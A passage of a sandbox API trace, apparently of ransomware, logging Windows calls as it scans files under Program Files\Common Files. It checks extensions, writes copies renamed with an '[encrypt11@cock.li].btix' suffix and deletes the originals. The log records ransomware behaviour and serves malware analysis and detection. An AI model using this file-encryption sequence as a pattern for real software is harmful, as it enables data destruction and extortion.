(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0046.693] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=2518) returned 1 [0046.693] CloseHandle (hObject=0x32c) returned 1 [0046.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0046.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.693] lstrlenW (lpString=".doc") returned 4 [0046.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.693] lstrlenW (lpString=".docx") returned 5 [0046.693] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0046.693] lstrlenW (lpString=".pdf") returned 4 [0046.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.693] lstrlenW (lpString=".xls") returned 4 [0046.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.693] lstrlenW (lpString=".xlsx") returned 5 [0046.693] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0046.693] lstrlenW (lpString=".ppt") returned 4 [0046.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.694] lstrlenW (lpString=".zip") returned 4 [0046.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.694] lstrlenW (lpString=".rar") returned 4 [0046.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString=".bz2") returned 4 [0046.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString=".7z") returned 3 [0046.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.694] lstrlenW (lpString=".dbf") returned 4 [0046.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.694] lstrlenW (lpString=".1cd") returned 4 [0046.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.694] lstrlenW (lpString=".jpg") returned 4 [0046.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.694] lstrlenW (lpString=".doc") returned 4 [0046.694] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString=".docx") returned 5 [0046.694] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0046.694] lstrlenW (lpString=".pdf") returned 4 [0046.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString=".xls") returned 4 [0046.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.694] lstrlenW (lpString=".xlsx") returned 5 [0046.695] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0046.695] lstrlenW (lpString=".ppt") returned 4 [0046.695] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.695] lstrlenW (lpString=".zip") returned 4 [0046.695] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.695] lstrlenW (lpString=".rar") returned 4 [0046.695] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.695] lstrlenW (lpString=".bz2") returned 4 [0046.695] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.695] lstrlenW (lpString=".7z") returned 3 [0046.695] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.695] lstrlenW (lpString=".dbf") returned 4 [0046.695] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.695] lstrlenW (lpString=".1cd") returned 4 [0046.695] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 60 [0046.695] lstrlenW (lpString=".jpg") returned 4 [0046.695] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.695] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.695] lstrlenW (lpString="ipshrv.xml") returned 10 [0046.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0046.696] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=2652) returned 1 [0046.696] CloseHandle (hObject=0x32c) returned 1 [0046.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0046.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.696] lstrlenW (lpString=".doc") returned 4 [0046.696] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.696] lstrlenW (lpString=".docx") returned 5 [0046.696] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0046.696] lstrlenW (lpString=".pdf") returned 4 [0046.696] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.696] lstrlenW (lpString=".xls") returned 4 [0046.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.696] lstrlenW (lpString=".xlsx") returned 5 [0046.696] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0046.696] lstrlenW (lpString=".ppt") returned 4 [0046.696] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.696] lstrlenW (lpString=".zip") returned 4 [0046.696] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.696] lstrlenW (lpString=".rar") returned 4 [0046.696] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".bz2") returned 4 [0046.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".7z") returned 3 [0046.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.697] lstrlenW (lpString=".dbf") returned 4 [0046.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.697] lstrlenW (lpString=".1cd") returned 4 [0046.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.697] lstrlenW (lpString=".jpg") returned 4 [0046.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.697] lstrlenW (lpString=".doc") returned 4 [0046.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".docx") returned 5 [0046.697] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0046.697] lstrlenW (lpString=".pdf") returned 4 [0046.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".xls") returned 4 [0046.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".xlsx") returned 5 [0046.697] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0046.697] lstrlenW (lpString=".ppt") returned 4 [0046.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.697] lstrlenW (lpString=".zip") returned 4 [0046.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.697] lstrlenW (lpString=".rar") returned 4 [0046.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".bz2") returned 4 [0046.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.697] lstrlenW (lpString=".7z") returned 3 [0046.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.698] lstrlenW (lpString=".dbf") returned 4 [0046.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.698] lstrlenW (lpString=".1cd") returned 4 [0046.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0046.698] lstrlenW (lpString=".jpg") returned 4 [0046.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.698] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.698] lstrlenW (lpString="ipsid.xml") returned 9 [0046.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0046.698] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=2570) returned 1 [0046.698] CloseHandle (hObject=0x32c) returned 1 [0046.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0046.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0046.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0046.699] lstrlenW (lpString=".doc") returned 4 [0046.699] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".docx") returned 5 [0046.699] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0046.699] lstrlenW (lpString=".pdf") returned 4 [0046.699] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".xls") returned 4 [0046.699] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".xlsx") returned 5 [0046.699] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0046.699] lstrlenW (lpString=".ppt") returned 4 [0046.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0046.699] lstrlenW (lpString=".zip") returned 4 [0046.699] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.699] lstrlenW (lpString=".rar") returned 4 [0046.699] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".bz2") returned 4 [0046.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".7z") returned 3 [0046.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0046.699] lstrlenW (lpString=".dbf") returned 4 [0046.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.921] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0046.921] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0046.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0046.932] GetLastError () returned 0x0 [0046.932] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x285, lpOverlapped=0x0) returned 1 [0046.933] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x290, lpOverlapped=0x0) returned 1 [0046.937] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0046.937] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xea, lpOverlapped=0x0) returned 1 [0046.937] SetEndOfFile (hFile=0x364) returned 1 [0046.937] CloseHandle (hObject=0x364) returned 1 [0046.938] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0046.938] SetEndOfFile (hFile=0x358) returned 1 [0046.938] CloseHandle (hObject=0x358) returned 1 [0046.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x26) returned 1 [0046.939] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0046.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.941] lstrlenW (lpString=".doc") returned 4 [0046.941] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.941] lstrlenW (lpString=".docx") returned 5 [0046.941] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.941] lstrlenW (lpString=".pdf") returned 4 [0046.941] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.941] lstrlenW (lpString=".xls") returned 4 [0046.941] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.941] lstrlenW (lpString=".xlsx") returned 5 [0046.941] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.941] lstrlenW (lpString=".ppt") returned 4 [0046.941] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.941] lstrlenW (lpString=".zip") returned 4 [0046.941] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.941] lstrlenW (lpString=".rar") returned 4 [0046.941] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.941] lstrlenW (lpString=".bz2") returned 4 [0046.941] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.941] lstrlenW (lpString=".7z") returned 3 [0046.941] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.941] lstrlenW (lpString=".dbf") returned 4 [0046.941] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.941] lstrlenW (lpString=".1cd") returned 4 [0046.941] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.941] lstrlenW (lpString=".jpg") returned 4 [0046.941] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.942] lstrlenW (lpString=".doc") returned 4 [0046.942] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.942] lstrlenW (lpString=".docx") returned 5 [0046.942] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.942] lstrlenW (lpString=".pdf") returned 4 [0046.942] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.942] lstrlenW (lpString=".xls") returned 4 [0046.942] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.942] lstrlenW (lpString=".xlsx") returned 5 [0046.942] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.942] lstrlenW (lpString=".ppt") returned 4 [0046.942] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.942] lstrlenW (lpString=".zip") returned 4 [0046.942] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.942] lstrlenW (lpString=".rar") returned 4 [0046.942] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.942] lstrlenW (lpString=".bz2") returned 4 [0046.942] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.942] lstrlenW (lpString=".7z") returned 3 [0046.942] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.942] lstrlenW (lpString=".dbf") returned 4 [0046.942] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.943] lstrlenW (lpString=".1cd") returned 4 [0046.943] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0046.945] lstrlenW (lpString=".jpg") returned 4 [0046.945] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0046.946] lstrcmpiW (lpString1=".inc", lpString2=".btix") returned 1 [0046.946] lstrlenW (lpString="adojavas.inc") returned 12 [0046.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.951] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=14856) returned 1 [0046.951] CloseHandle (hObject=0x358) returned 1 [0046.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0046.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.963] lstrlenW (lpString=".doc") returned 4 [0046.963] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.963] lstrlenW (lpString=".docx") returned 5 [0046.963] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.963] lstrlenW (lpString=".pdf") returned 4 [0046.963] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.963] lstrlenW (lpString=".xls") returned 4 [0046.963] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.963] lstrlenW (lpString=".xlsx") returned 5 [0046.963] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.963] lstrlenW (lpString=".ppt") returned 4 [0046.963] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.963] lstrlenW (lpString=".zip") returned 4 [0046.963] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.963] lstrlenW (lpString=".rar") returned 4 [0046.964] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString=".bz2") returned 4 [0046.964] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.964] lstrlenW (lpString=".7z") returned 3 [0046.964] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.964] lstrlenW (lpString=".dbf") returned 4 [0046.964] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.964] lstrlenW (lpString=".1cd") returned 4 [0046.964] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.964] lstrlenW (lpString=".jpg") returned 4 [0046.964] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.964] lstrlenW (lpString=".doc") returned 4 [0046.964] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.964] lstrlenW (lpString=".docx") returned 5 [0046.964] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.964] lstrlenW (lpString=".pdf") returned 4 [0046.964] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString=".xls") returned 4 [0046.964] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString=".xlsx") returned 5 [0046.964] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.964] lstrlenW (lpString=".ppt") returned 4 [0046.964] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.964] lstrlenW (lpString=".zip") returned 4 [0046.964] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString=".rar") returned 4 [0046.964] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.964] lstrlenW (lpString=".bz2") returned 4 [0046.965] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.965] lstrlenW (lpString=".7z") returned 3 [0046.965] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.965] lstrlenW (lpString=".dbf") returned 4 [0046.965] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.965] lstrlenW (lpString=".1cd") returned 4 [0046.965] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.965] lstrlenW (lpString=".jpg") returned 4 [0046.965] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.965] lstrcmpiW 